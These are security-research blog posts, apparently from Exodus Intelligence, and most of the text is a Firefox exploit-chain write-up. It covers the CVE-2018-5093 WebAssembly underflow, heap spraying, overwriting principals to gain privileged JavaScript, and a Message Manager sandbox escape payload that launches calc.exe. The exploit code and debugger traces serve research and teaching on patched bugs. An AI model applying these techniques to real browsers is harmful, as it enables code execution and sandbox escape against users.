Adobe patched this vulnerability in August 2020. However it is likely that more vulnerabilities of this nature will continue to pop up in Adobe Reader given its large attack surface. We hope you enjoyed reading our analysis and learned something new. Be sure to checkout our other blog posts such as Firefox vulnerability research and patch-gapping Chrome.

The post Analysis of a use-after-free Vulnerability in Adobe Acrobat Reader DC appeared first on Exodus Intelligence.

2021 Disclosure Policy

17 March 2021 at 16:16

It’s been a half-decade since we last updated our disclosure policy and it’s time for us to iterate on our policy again. As we detailed in our previous post, while there is inherent value to our subscription customers to maximize our 0-day shelf life… empirically, we can state that such vulnerabilities can go unpatched for inordinately long times and it is in the best interest of the community at large to keep vendors informed. As of the time of this writing, we have adopted the following simple disclosure policy.

  1. Vulnerability information will be reported to the affected vendor six months after release to our subscribers.
  2. Six months after this disclosure, or once the vendor has released a patch, whichever happens first; we reserve the right to publish details about the vulnerability.

This policy applies to both internally generated research as well as any research acquired through our Research Sponsorship Program (RSP), an effort we maintain to crowdsource both 0-day and n-day research from individual contributors around the globe.

If you’re interested in learning more about our subscriptions, we welcome you to reach out to us at [email protected].

The post 2021 Disclosure Policy appeared first on Exodus Intelligence.

Firefox Vulnerability Research Part 2

10 November 2020 at 17:59

By Arthur Gerkis and David Barksdale

This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.

In the previous post we analyzed an integer underflow in part of Firefox’s WebAssembly code and used it to read and write memory in the sandboxed content process. In this post we will use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.

Executing Privileged JavaScript

Here we will discuss a technique for executing privileged JavaScript by making use of the ability to read and write memory. An overview of the script security architecture of Firefox can be found here. There is a JavaScript object specific only to Firefox-based browsers called Components. Normal content pages run with the content principal and have a limited version of this object. Pages with the system principal have full access to the object and can use it to access native XPCOM objects. The goal is to gain access to a privileged Components object using the following steps:

  1. find and leak the address of the system principal;
  2. find and override the actual document compartment principal with the system principal; this gives the ability to access properties of privileged objects;
  3. find and override an iframe principal with the system principal; this allows us to load privileged pages into an actual iframe;
  4. load a privileged page into an iframe and access its Components.

Finding the System Principal

We first find the base address of xul.dll using an address of a TypedArray object we discovered previously. At offset 0xC into this object is a pointer into the xul.dll module. All modules are loaded on a 0x10000 byte boundary and contain the Portable Executable signature ‘MZ’ as the first 16-bit word. We simply start searching backwards in memory from our pointer into xul.dll on said boundary for the signature.

Once we’ve found xul.dll in memory we can parse its export tables to look for various symbols within the module. The first symbol we look for is nsLayoutModule_NSModule. This is a structure which contains a useful pointer, it is shown below.

0:033> ln xul + 0x1e25620
(55265620)   xul!nsLayoutModule_NSModule   |  (55265624)   xul!docshell_provider_NSModule
Exact matches:
    xul!nsLayoutModule_NSModule = 0x557f3b58

0:033> dt xul!nsLayoutModule_NSModule
0x557f3b58 
   +0x000 mVersion         : 0x34
   +0x004 mCIDs            : 0x557f3270 mozilla::Module::CIDEntry
   +0x008 mContractIDs     : 0x557f2650 mozilla::Module::ContractIDEntry
   +0x00c mCategoryEntries : 0x557f3008 mozilla::Module::CategoryEntry
   +0x010 getFactoryProc   : (null) 
   +0x014 loadProc         : 0x539ef4f9     nsresult  xul!Initialize+0
   +0x018 unloadProc       : 0x5358734f     void  xul!LayoutModuleDtor+0
   +0x01c selector         : 4 ( ALLOW_IN_GPU_PROCESS )

We follow the loadProc pointer to the function Initialize, which is shown below.

xul!Initialize [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\build\nslayoutmodule.cpp @ 353]:
539ef4f9 803d94179d5500  cmp     byte ptr [xul!gInitialized (559d1794)],0
539ef500 0f85bdc73500    jne     xul!Initialize+0x35c7ca (53d4bcc3)
539ef506 833dc01e9f5505  cmp     dword ptr [xul!mozilla::startup::sChildProcessType (559f1ec0)],5
539ef50d 7420            je      xul!Initialize+0x36 (539ef52f)
539ef50f 56              push    esi
539ef510 c60594179d5501  mov     byte ptr [xul!gInitialized (559d1794)],1
539ef517 e80613f6ff      call    xul!nsXPConnect::InitStatics (53950822)
539ef51c e811000000      call    xul!nsLayoutStatics::Initialize (539ef532)

We disassemble this function and follow the call to nsXPConnect::InitStatics, which is shown below.

xul!operator new [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109] 
[inlined in xul!nsXPConnect::InitStatics [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109]]:
53950822 6a10            push    10h
53950824 ff15cc432655    call    dword ptr [xul!_imp__moz_xmalloc (552643cc)]
5395082a 59              pop     ecx
5395082b 85c0            test    eax,eax
5395082d 0f84d8b43c00    je      xul!nsXPConnect::InitStatics+0x3cb4e9 (53d1bd0b)
53950833 8bc8            mov     ecx,eax
53950835 e824180000      call    xul!nsXPConnect::nsXPConnect (5395205e)
5395083a 83780800        cmp     dword ptr [eax+8],0
5395083e 56              push    esi
5395083f a33cd79c55      mov     dword ptr [xul!nsXPConnect::gSelf (559cd73c)],eax
53950844 be18dd4055      mov     esi,offset xul!`string' (5540dd18)
53950849 0f84c3b43c00    je      xul!nsXPConnect::InitStatics+0x3cb4f0 (53d1bd12)
5395084f 50              push    eax
53950850 e87531b5ff      call    xul!mozilla::widget::myDownloadObserver::AddRef (534a39ca)
53950855 e8b26af0ff      call    xul!nsScriptSecurityManager::InitStatics (5385730c)
5395085a a1645c9d55      mov     eax,dword ptr [xul!gScriptSecMan (559d5c64)]
5395085f 6810d79c55      push    offset xul!nsXPConnect::gSystemPrincipal (559cd710)
53950864 50              push    eax
53950865 a340d79c55      mov     dword ptr [xul!nsXPConnect::gScriptSecurityManager (559cd740)],eax
5395086a 8b08            mov     ecx,dword ptr [eax]
5395086c ff5124          call    dword ptr [ecx+24h]
5395086f 833d10d79c5500  cmp     dword ptr [xul!nsXPConnect::gSystemPrincipal (559cd710)],0

We disassemble this function and find the address of nsXPConnect::gSystemPrincipal, the keys to Dad’s car.

Finding and Overriding the Document Compartment Principal

The compartment principal we want to override can be found using an iframe we previously sprayed onto the heap. To find the location of the principal we start with the JSObject containing the iframe and follow the path of pointers until we find the relevant JSCompartment object, as shown below.

0:033> ddp 067bbc40 L14/4
067bbc40  0df34a48 5596b084 xul!mozilla::dom::HTMLIFrameElementBinding::sClass
067bbc44  0df48bf8 0df352c8
067bbc48  00000000
067bbc4c  552701c8 55529c74 xul!js_Object_str
067bbc50  0dde6780 5535b7b0 xul!mozilla::dom::HTMLIFrameElement::`vftable'

0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement
   +0x000 __VFN_table : 0x5535b7b0 
   +0x004 __VFN_table : 0x55271f84 
   +0x008 mWrapper         : 0x067bbc40 JSObject
   +0x00c mFlags           : 0x100004
   +0x010 mNodeInfo        : RefPtr<mozilla::dom::NodeInfo>
   +0x014 mParent          : 0x11872ce0 nsINode
   +0x018 mBoolFlags       : 0x2000e
[skip]

0:033> dd 0x067bbc40 L1
067bbc40  0df34a48

0:033> dt 0df34a48 js::ObjectGroup
xul!js::ObjectGroup
   +0x000 clasp_           : 0x5596b084 js::Class
   +0x004 proto_           : js::GCPtr<js::TaggedProto>
   +0x008 compartment_     : 0x1183ac00 JSCompartment
   +0x00c flags_           : 0
   +0x010 addendum_        : (null) 
   +0x014 propertySet      : (null) 

0:033> dt 0x1183ac00 JSCompartment
xul!JSCompartment
   +0x000 creationOptions_ : JS::CompartmentCreationOptions
   +0x014 behaviors_       : JS::CompartmentBehaviors
   +0x024 zone_            : 0x06b46800 JS::Zone
   +0x028 runtime_         : 0x04b86108 JSRuntime
   +0x02c principals_      : 0x04b8e444 JSPrincipals
   +0x030 isSystem_        : 0
[skip]

We write the value of the previously found system principal to offset 0x2C into this JSCompartment object.

Finding and Overriding the mOwnerManager Principal

Loading a privileged page into our iframe requires overriding the mOwnerManager principal of the iframe. This is found via similar path of pointers starting from the HTMLIFrameElement object found above.

0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement
   +0x000 __VFN_table : 0x5535b7b0 
   +0x004 __VFN_table : 0x55271f84 
   +0x008 mWrapper         : 0x067bbc40 JSObject
   +0x00c mFlags           : 0x100004
   +0x010 mNodeInfo        : RefPtr<mozilla::dom::NodeInfo>
   +0x014 mParent          : 0x11872ce0 nsINode
   +0x018 mBoolFlags       : 0x2000e
[skip]

0:033> dd 0dde6780 
0dde6780  5535b7b0 55271f84 067bbc40 00100004
0dde6790  118c5100 11872ce0 0002000e 00000000
0dde67a0  06cd59c0 00000000 118fc800 0cb0f940
0dde67b0  00000014 04bd2f00 00020000 00000400
0dde67c0  5535b5bc e5e5e5e5 5535b59c 5535b590
0dde67d0  00000000 559e3364 5535b558 0cb0f820
0dde67e0  00000000 00000000 e5e5e500 e5e5e5e5
0dde67f0  5535b4e8 e5e5e5e5 e5e5e5e5 e5e5e5e5

0:033> dt 0x118c5100 mozilla::dom::NodeInfo
xul!mozilla::dom::NodeInfo
   +0x000 mRefCnt          : nsCycleCollectingAutoRefCnt
   =5597ee68 _cycleCollectorGlobal : mozilla::dom::NodeInfo::cycleCollection
   +0x004 mDocument        : 0x1154a800 nsIDocument
   +0x008 mInner           : mozilla::dom::NodeInfo::NodeInfoInner
   +0x020 mOwnerManager    : RefPtr<nsNodeInfoManager>
   +0x024 mQualifiedName   : nsString
   +0x030 mNodeName        : nsString
   +0x03c mLocalName       : nsString

0:033> dd 0x118c5100 
118c5100  00000004 1154a800 062c6160 00000000
118c5110  00000003 e5e50001 00000000 00000000
118c5120  06cc0130 5599a914 00000006 00000005
118c5130  118c6088 00000006 00000005 5599a914
118c5140  00000006 00000005 e5e5e5e5 e5e5e5e5
118c5150  0dc91550 00000000 00000000 00000000
118c5160  00000000 00000000 00000000 00000000
118c5170  00000000 00000000 00000000 00000000

0:033> dt 06cc0130 nsNodeInfoManager
xul!nsNodeInfoManager
   =5597efc0 _cycleCollectorGlobal : nsNodeInfoManager::cycleCollection
   +0x000 mRefCnt          : nsCycleCollectingAutoRefCnt
   +0x004 mNodeInfoHash    : 0x0db8d780 PLHashTable
   +0x008 mDocument        : 0x1154a800 nsIDocument
   +0x00c mNonDocumentNodeInfos : 0x12
   +0x010 mPrincipal       : nsCOMPtr<nsIPrincipal>
   +0x014 mDefaultPrincipal : nsCOMPtr<nsIPrincipal>
   +0x018 mTextNodeInfo    : 0x11872ab0 mozilla::dom::NodeInfo
   +0x01c mCommentNodeInfo : (null) 
   +0x020 mDocumentNodeInfo : 0x11872600 mozilla::dom::NodeInfo
   +0x024 mBindingManager  : RefPtr<nsBindingManager>
[skip]

We then write the value of the previously found system principal to offset 0x10 into this nsNodeInfoManager object.

Accessing Privileged JavaScript

Now we can load the privileged page about:newtab into our iframe and access the Components object with the JavaScript below.

iframe.src = 'about:newtab';
iframe.onload = function() {
    privilegedWindow = iframe.contentWindow;
    // Components object accessible via privilegedWindow.Components
};

Escaping the Content Process Sandbox

Here we describe a technique to execute privileged JavaScript in the broker process via Inter-process Communication from the content process. This technique was patched by a change intended to mitigate prompt spoofing by introducing a new type of prompt displayed by the broker process.

The content and broker processes communicate with each other via inter-process communication. While this is implemented and used by the C/C++ code, for Firefox there is an additional communication channel which is used by privileged JavaScript. It’s called the Message Manager and is responsible for passing messages between various windows.

The Message Manager was introduced long before the introduction of the sandbox, but the main goal was to support the legacy methods of interaction between the chrome and content while moving from single to multiple process architecture.

One such interaction is called RemotePrompt, shown below.

var RemotePrompt = {
  init: function() {
    let mm = Cc["@mozilla.org/globalmessagemanager;1"].getService(Ci.nsIMessageListenerManager);
    mm.addMessageListener("Prompt:Open", this);
  },

  receiveMessage: function(message) {
    switch (message.name) {
      case "Prompt:Open":
        if (message.data.uri) {
          this.openModalWindow(message.data, message.target);
        } else {
          this.openTabPrompt(message.data, message.target)
        }
        break;
    }
  },
[skip]
  openModalWindow: function(args, browser) {
    let window = browser.ownerGlobal;
    try {
      PromptUtils.fireDialogEvent(window, "DOMWillOpenModalDialog", browser);
      let bag = PromptUtils.objectToPropBag(args);

      Services.ww.openWindow(window, args.uri, "_blank",
                             "centerscreen,chrome,modal,titlebar", bag);

      PromptUtils.propBagToObject(bag, args);
    } finally {
      PromptUtils.fireDialogEvent(window, "DOMModalDialogClosed", browser);
      browser.messageManager.sendAsyncMessage("Prompt:Close", args);
    }
  }

The function receiveMessage() receives all incoming messages and handles only ones with the name Prompt:Open, and depending on the presence of the uri argument decides where to pass execution. If the argument is present, the function openModalWindow() will execute and create a new window in the broker process with the URI provided in the arguments. The newly created window has the system principal. By passing a data URI as the argument, arbitrary JavaScript code will be loaded and executed in the broker process.

Below is an example of this technique that will launch calc.exe from the broker process.

function executePayload(privilegedWindow) {
  var payload = [];
  // This is something to execute within privileged JavaScript. For example, 
  // in current case a calc.exe is executed with Medium Integrity Level.
  payload.push('var { interfaces: Ci, utils: Cu, classes: Cc } = Components;');
  payload.push('localFile = Cc["@mozilla.org/file/local;1"].createInstance(Ci.nsILocalFile);');
  payload.push('process = Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);');
  payload.push('args = [];');
  payload.push('localFile.initWithPath("C:\\\\WINDOWS\\\\system32\\\\calc.exe");');
  payload.push('process.init(localFile);');
  payload.push('process.run(false, args, args.length);');

  // This will get a ContentFrameMessageManager
  var cfmm = privilegedWindow.QueryInterface(Ci.nsIInterfaceRequestor).
    getInterface(Ci.nsIDocShell).
    QueryInterface(Ci.nsIInterfaceRequestor).
    getInterface(Ci.nsIContentFrameMessageManager);
  // This sends a message through the message manager to the broker process
  cfmm.sendAsyncMessage('Prompt:Open', { uri: 'data:text/html,<script>' + payload.join('') + '; close();</script>' });
}

The entire exploit chain is demonstrated in the video below.

Demo popping calc.exe

The post Firefox Vulnerability Research Part 2 appeared first on Exodus Intelligence.

Firefox Vulnerability Research

20 October 2020 at 16:54

By Arthur Gerkis and David Barksdale

This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.

In this post we start with an integer underflow in part of Firefox’s WebAssembly code and use it to read and write memory in the sandboxed content process. In later posts we will then use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.

WebAssembly.Table Integer Underflow (CVE-2018-5093)

This vulnerability was reported to Mozilla by Alex Gaynor as Bug #1415291 and fixed in Firefox 58 and 59.

The vulnerability is triggered using a WebAssembly.Table object which represents an array-like structure that stores function references and provides a bridge between WebAssembly and JavaScript. The following JavaScript code results in a memory read outside the bounds of the table.

// Creates a new WebAssembly Table object.
var wasmTable = new WebAssembly.Table({
  // Provides type of the element.
  element: 'anyfunc',
  // Provides initial size of the table (length of the elements).
  initial: 0
});

// Tries to get the function reference at the index 0x100.
wasmTable.get(0x100);

The JavaScript constructor triggers a call to WasmTableObject::construct() shown below.

/* static */ WasmTableObject*
WasmTableObject::create(JSContext* cx, const Limits& limits)
{
    RootedObject proto(cx, &cx->global()->getPrototype(JSProto_WasmTable).toObject());

    AutoSetNewObjectMetadata metadata(cx);
    RootedWasmTableObject obj(cx, NewObjectWithGivenProto<WasmTableObject>(cx, proto));
    if (!obj)
        return nullptr;

    MOZ_ASSERT(obj->isNewborn());

    TableDesc td(TableKind::AnyFunction, limits);
    td.external = true;

    SharedTable table = Table::create(cx, td, obj);
    if (!table)
        return nullptr;

    obj->initReservedSlot(TABLE_SLOT, PrivateValue(table.forget().take()));

    MOZ_ASSERT(!obj->isNewborn());
    return obj;
}

/* static */ bool
WasmTableObject::construct(JSContext* cx, unsigned argc, Value* vp)
{
    CallArgs args = CallArgsFromVp(argc, vp);

    if (!ThrowIfNotConstructing(cx, args, "Table"))
        return false;

    if (!args.requireAtLeast(cx, "WebAssembly.Table", 1))
        return false;

    if (!args.get(0).isObject()) {
        JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr, JSMSG_WASM_BAD_DESC_ARG, "table");
        return false;
    }

...

    RootedWasmTableObject table(cx, WasmTableObject::create(cx, limits));
    if (!table)
        return false;

    args.rval().setObject(*table);
    return true;
}

WasmTableObject::construct() performs different kinds of validations and then calls WasmTableObject::create() which is responsible for the actual table creation.

The TableDesc object holds properties of the new WebAssembly.Table to be created including the type of the array (external or internal) and limits of the table. The call to Table::create() creates a new WebAssembly table object with the initial elements length of 0.

/* static */ SharedTable
Table::create(JSContext* cx, const TableDesc& desc, HandleWasmTableObject maybeObject)
{
    // The raw element type of a Table depends on whether it is external: an
    // external table can contain functions from multiple instances and thus
    // must store an additional instance pointer in each element.
    UniqueByteArray array;
    if (desc.external)
        array.reset((uint8_t*)cx->pod_calloc<ExternalTableElem>(desc.limits.initial));
    else
        array.reset((uint8_t*)cx->pod_calloc<void*>(desc.limits.initial));
    if (!array)
        return nullptr;

    return SharedTable(cx->new_<Table>(cx, desc, maybeObject, Move(array)));
}

The desc.external variable is set to true as it is an external (user-provided) table creation request (non-external tables are used for JavaScript engine runtime internally and are not possible to control directly). The desc.limits.initial variable is 0 and the pod_calloc() function allocates the minimum possible buffer size of 8 bytes. The address of array (or array_ as defined in Table fields) is the base address when accessing the table array by index.

Integer Underflow

Once the WebAssembly get() function is called, the WasmTableObject::getImpl() method is eventually called.

/* static */ bool
WasmTableObject::getImpl(JSContext* cx, const CallArgs& args)
{
    RootedWasmTableObject tableObj(cx, &args.thisv().toObject().as<WasmTableObject>());
    const Table& table = tableObj->table();

    uint32_t index;
    if (!ToNonWrappingUint32(cx, args.get(0), table.length() - 1, "Table", "get index", &index))
        return false;

    ExternalTableElem& elem = table.externalArray()[index];
    if (!elem.code) {
        args.rval().setNull();
        return true;
    }

    Instance& instance = *elem.tls->instance;
    const CodeRange& codeRange = *instance.code().lookupRange(elem.code);
    MOZ_ASSERT(codeRange.isFunction());

    RootedWasmInstanceObject instanceObj(cx, instance.object());
    RootedFunction fun(cx);
    if (!instanceObj->getExportedFunction(cx, instanceObj, codeRange.funcIndex(), &fun))
        return false;

    args.rval().setObject(*fun);
    return true;
}

The third argument to ToNonWrappingUint32() is the maximum value allowed to be stored in index. When table.length() is 0 this value becomes -1, however the argument type is uint32_t, causing the value to become UINT32_MAX, defeating the range check entirely. The same bug exists in WasmTableObject::setImpl() defeating the range check on set().

This vulnerability can be used to read or write past the bounds of the array. However,
writing out of bounds is limited in how and what it can write. Reading out of bounds cannot be directly used to leak any useful data into JavaScript, but it can be used to create a fake hash table.

Fake Hash Table

To ensure that required data is located at a fixed address the heap is sprayed using JavaScript arrays. This data is then used to create a few fake structures. The heap spray causes the following data to be placed at address 0x4d0f0000.

4d0f0000 4d0f0000 4d0f0000 4d0f000c 4d0f0000
4d0f0010 4d0eff9c 4d0f0028 4d0f00b0 4d0f0028
4d0f0020 4d0f0020 00000002 00000000 00000000
4d0f0030 4d0effd4 00000002 4d0f0030 00000000
4d0f0040 00000000 00000000 00000010 00000000
4d0f0050 00000000 00000000 00000000 00000000
4d0f0060 143d6170 ffffff87 00000000 00000000
4d0f0070 00000000 00000000 00000000 00000000
4d0f0080 0000007b 00000030 4d0f0080 cccccccc
4d0f0090 00000000 00000000 14642190 ffffff8c
4d0f00a0 00000000 00000000 13d59320 ffffff8c
4d0f00b0 cccccccc 7e000000 146421ea 00000000
4d0f00c0 00000000 00000000 00000000 00000000
4d0f00d0 00000000 00000000 00000000 00000000
4d0f00e0 00000000 00000000 00000000 00000000
4d0f00f0 00000000 00000000 00000000 00000000
4d0f0100 4d0f0000 4d0f0000 4d0f0000 4d0f0000
4d0f0110 4d0f0000 4d0f0000 4d0f0000 4d0f0000

The first 0x100 bytes contain fake structure fields, the rest is just a filler which points back to the beginning of the data.

Once the heap spray is done, the vulnerability is triggered by creating a new WebAssembly table and calling the get() function on that table. The following code is then reached.

; File: xul.dll
; Version: 54.0.0.6368

.text:11D4EB33 private: static bool __cdecl js::WasmTableObject::getImpl(struct JSContext *, class JS::CallArgs const &) proc near
...
.text:11D4EB96                 jz      loc_11D4EC40
.text:11D4EB9C                 mov     eax, [ebp+var_4]
.text:11D4EB9F                 mov     ecx, [ebp+var_8]
.text:11D4EBA2                 mov     eax, [eax+30h] ; eax will point to the array_ field
.text:11D4EBA5                 mov     edx, [eax+ecx*8] ; eax+ecx*8 points inside of the heap spray, edx becomes 0x4d0f0000
.text:11D4EBA8                 test    edx, edx        ; if (!elem.code) ... (edx = 0x4d0f0000)
.text:11D4EBAA                 jnz     short loc_11D4EBBF
...
.text:11D4EBBF
.text:11D4EBBF loc_11D4EBBF:
.text:11D4EBBF                 mov     eax, [eax+ecx*8+4] ; reads from the spray and sets eax to 4d0f0000
.text:11D4EBC3                 push    edx
.text:11D4EBC4                 mov     esi, [eax+4]    ; esi will point to the fake js::wasm::Instance object (4d0f0000)
.text:11D4EBC7                 mov     ecx, [esi+8]    ; ecx will point to the fake js::wasm::Code object (4d0f000c)
.text:11D4EBCA                 call    js::wasm::Code::lookupRange(void *)

The array_ field is located at offset 0x30 in the Table object, shown below.

0:000> dt xul!js::wasm::Table
   +0x000 mRefCnt          : Uint4B
   +0x004 maybeObject_     : js::ReadBarriered<js::WasmTableObject *>
   +0x008 observers_       : JS::WeakCache<JS::GCHashSet<js::ReadBarriered<js::WasmInstanceObject *>,js::MovableCellHasher<js::ReadBarriered<js::WasmInstanceObject *> >,js::SystemAllocPolicy> >
   +0x030 array_           : mozilla::UniquePtr<unsigned char [0],JS::FreePolicy>
   +0x034 kind_            : js::wasm::TableKind
   +0x038 length_          : Uint4B
   +0x03c maximum_         : mozilla::Maybe<unsigned int>
   +0x044 external_        : Bool

The address of the array_ field is added to the index which is multiplied by 0x8 (the UniqueByteArray structure takes 0x8 bytes and each function reference represents this structure).

Next is the call to the Code::lookupRange() method.

const CodeRange*
Code::lookupRange(void* pc) const
{
    CodeRange::PC target((uint8_t*)pc - segment_->base());
    size_t lowerBound = 0;
    size_t upperBound = metadata_->codeRanges.length();
    size_t match;
    if (!BinarySearch(metadata_->codeRanges, lowerBound, upperBound, target, &match))
        return nullptr;

    return &metadata_->codeRanges[match];
}

The Code object is located at address 0x4d0f000c in our heap spray and is constructed such that BinarySearch() will return true and match will be set to 1. The match is the index of the CodeRange structure in the metadata_->codeRanges vector. The size of the CodeRange object is 0x20 bytes and as such lookupRange() returns the CodeRange object which is located at address 0x4d0f0040 in our heap spray.

Next in WasmTableObject::getImpl() an object_ field pointing to the WasmInstanceObject object is requested, as shown below.

WasmInstanceObject*
Instance::object() const
{
    return object_;
}

A problem appears due to the way the garbage collector works and because some structures have been faked: they do not represent real JavaScript objects and have not gone through the real allocation mechanisms.

The Generation Garbage Collector (GGC), introduced in Mozilla Firefox version 32.0, has two heap types: nursery and tenured. The nursery heap is used for a short-lived objects, and the tenured heap for long-lived objects.

When getting the WasmInstanceObject object, the JavaScript engine runtime requests details about the object state, namely whether it is in the nursery or in the tenured heap. Eventually the JSObject::readBarrier() method is called, as shown below.

/* static */ MOZ_ALWAYS_INLINE void
JSObject::readBarrier(JSObject* obj)
{
    if (obj && obj->isTenured())
        obj->asTenured().readBarrier(&obj->asTenured());
}

The method Cell::isTenured() checks whether the object is inside of tenured heap, as shown below.

MOZ_ALWAYS_INLINE bool isTenured() const { return !IsInsideNursery(this); }

The IsInsideNursery() function is shown below.

MOZ_ALWAYS_INLINE bool
IsInsideNursery(const js::gc::Cell* cell)
{
    if (!cell)
        return false;
    uintptr_t addr = uintptr_t(cell);
    addr &= ~js::gc::ChunkMask;
    addr |= js::gc::ChunkLocationOffset;
    auto location = *reinterpret_cast<ChunkLocation*>(addr);
    MOZ_ASSERT(location == ChunkLocation::Nursery || location == ChunkLocation::TenuredHeap);
    return location == ChunkLocation::Nursery;
}

Cell is the base class of all classes being allocated by GC. Chunks are the largest unit used by the allocator and are 1MB. The ChunkLocation enum denotes the type of the heap, as shown below.

enum class ChunkLocation : uint32_t
{
    Invalid = 0,
    Nursery = 1,
    TenuredHeap = 2
};

The IsInsideNursery() function converts object addresses to the address of the associated chunk and checks whether the chunk belongs to the nursery or tenured heap. If it is in the tenured heap, then additional operations on the object are performed. This code path should be avoided as it would unnecessarily complicate the exploit. The ChunkLocation is within the our heap spray so we fake it by setting it to Nursery.

After that, the Instance::object() method successfully returns a new WasmInstanceObject object which is located at address 0x4d0f0000.

The next relevant call is to the WasmInstanceObject::getExportedFunction() method as it allows memory corruption at an arbitrary address. The method receives valid objects passed in as arguments and also receives the controllable funcIndex variable which we set to 0.

/* static */ bool
WasmInstanceObject::getExportedFunction(JSContext* cx, HandleWasmInstanceObject instanceObj,
                                        uint32_t funcIndex, MutableHandleFunction fun)
{
    if (ExportMap::Ptr p = instanceObj->exports().lookup(funcIndex)) {
        fun.set(p->value());
        return true;
    }

    const Instance& instance = instanceObj->instance();
    unsigned numArgs = instance.metadata().lookupFuncExport(funcIndex).sig().args().length();

    // asm.js needs to act like a normal JS function which means having the name
    // from the original source and being callable as a constructor.
    if (instance.isAsmJS()) {
        RootedAtom name(cx, instance.code().getFuncAtom(cx, funcIndex));
        if (!name)
            return false;

        fun.set(NewNativeConstructor(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED,
                                     SingletonObject, JSFunction::ASMJS_CTOR));
        if (!fun)
            return false;
    } else {
        RootedAtom name(cx, NumberToAtom(cx, funcIndex));
        if (!name)
            return false;

        fun.set(NewNativeFunction(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED));
        if (!fun)
            return false;
    }

    fun->setExtendedSlot(FunctionExtended::WASM_INSTANCE_SLOT, ObjectValue(*instanceObj));
    fun->setExtendedSlot(FunctionExtended::WASM_FUNC_INDEX_SLOT, Int32Value(funcIndex));

    if (!instanceObj->exports().putNew(funcIndex, fun)) {
        ReportOutOfMemory(cx);
        return false;
    }

    return true;
}

The instanceObj->exports() call returns a hash table. We fail the hash table lookup in order to reach the call to putNew(). Next, inside of the Metadata::lookupFuncExport() method, a second binary search is performed and it must return a result.

const FuncExport&
Metadata::lookupFuncExport(uint32_t funcIndex) const
{
    size_t match;
    if (!BinarySearch(ProjectFuncIndex(funcExports), 0, funcExports.length(), funcIndex, &match))
        MOZ_CRASH("missing function export");

    return funcExports[match];
}

The Metadata object is also fake and is located at address 0x4d0f0000. BinarySearch() calls BinarySearchIf() with arguments aContainer and aEnd under our control.

0:000> ln eip
win_build\\dist\\include\\mozilla\\binarysearch.h(80)+0xe
(035d1c00)   xul!mozilla::BinarySearchIf<ProjectFuncIndex,mozilla::detail::BinarySearchDefaultComparator<unsigned int> >+0x1e   |  (035d1c60)   xul!mozilla::BinarySearchIf<mozilla::Vector<js::wasm::Instance *,0,js::SystemAllocPolicy>,InstanceComparator>

0:000> dv
            aContainer = 0x012fe074
                aBegin = 0
                  aEnd = 2
              aCompare = 0x012fe078
aMatchOrInsertionPoint = 0x012fe070
                  high = 2
                   low = 0
                middle = <value unavailable>

0:000> dx -r1 (*((xul!ProjectFuncIndex *)0x12fe074))
(*((xul!ProjectFuncIndex *)0x12fe074))                 [Type: ProjectFuncIndex]
    [+0x000] funcExports      : 0x4d0f0030 [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> &]

0:000> dx -r1 (*((xul!mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> *)0x4d0f0030))
(*((xul!mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> *)0x4d0f0030))                 [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy>]
    kElemIsPod       : false [Type: bool]
    kMaxInlineBytes  : 0x3f3 [Type: unsigned int]
    kInlineCapacity  : 0x0 [Type: unsigned int]
    [+0x000] mBegin           : 0x4d0effd4 [Type: js::wasm::FuncExport *]
    [+0x004] mLength          : 0x2 [Type: unsigned int]
    [+0x008] mTail            [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy>::CRAndStorage<0,0>]
    sMaxInlineStorage : 0x0 [Type: unsigned int]

Address 0x4d0f0040 contains 0 in order to return true from BinarySearchIf().

; File: xul.dll
; Version: 54.0.0.6368

.text:11D666D2 bool __cdecl mozilla::BinarySearchIf<struct ProjectFuncIndex, class mozilla::detail::BinarySearchDefaultComparator<unsigned int>>(struct ProjectFuncIndex const &, unsigned int, unsigned int, class mozilla::detail::BinarySearchDefaultComparator<unsigned int> const &, unsigned int *) proc near
.text:11D666D2
.text:11D666D2 arg_0           = dword ptr  8
.text:11D666D2 arg_4           = dword ptr  0Ch
.text:11D666D2 arg_8           = dword ptr  10h
.text:11D666D2
...
.text:11D666E5
.text:11D666E5 loc_11D666E5:
.text:11D666E5                 mov     ecx, [ebp+arg_4]
.text:11D666E8                 mov     edx, edi
.text:11D666EA                 sub     edx, esi
.text:11D666EC                 shr     edx, 1
.text:11D666EE                 add     edx, esi
.text:11D666F0                 imul    eax, edx, 3Ch   ; edx = 0x1
.text:11D666F3                 mov     eax, [eax+ebx+30h] ; mov eax,dword ptr [eax+ebx+30h] ds:002b:4d0f0040=00000000
.text:11D666F7                 mov     [ebp+arg_0], eax
.text:11D666FA                 lea     eax, [ebp+arg_0]
.text:11D666FD                 push    eax
.text:11D666FE                 call    mozilla::detail::BinarySearchDefaultComparator<uint>::operator()<uint>(uint const &)
.text:11D66703                 test    eax, eax        ; eax = 0x0, will return from the function
.text:11D66705                 jz      short loc_11D66720
...
.text:11D6671B loc_11D6671B:
.text:11D6671B                 pop     edi
.text:11D6671C                 pop     esi
.text:11D6671D                 pop     ebx
.text:11D6671E                 pop     ebp
.text:11D6671F                 retn
.text:11D66720 ; ---------------------------------------------------------------------------
.text:11D66720
.text:11D66720 loc_11D66720:
.text:11D66720                 mov     eax, [ebp+arg_8]
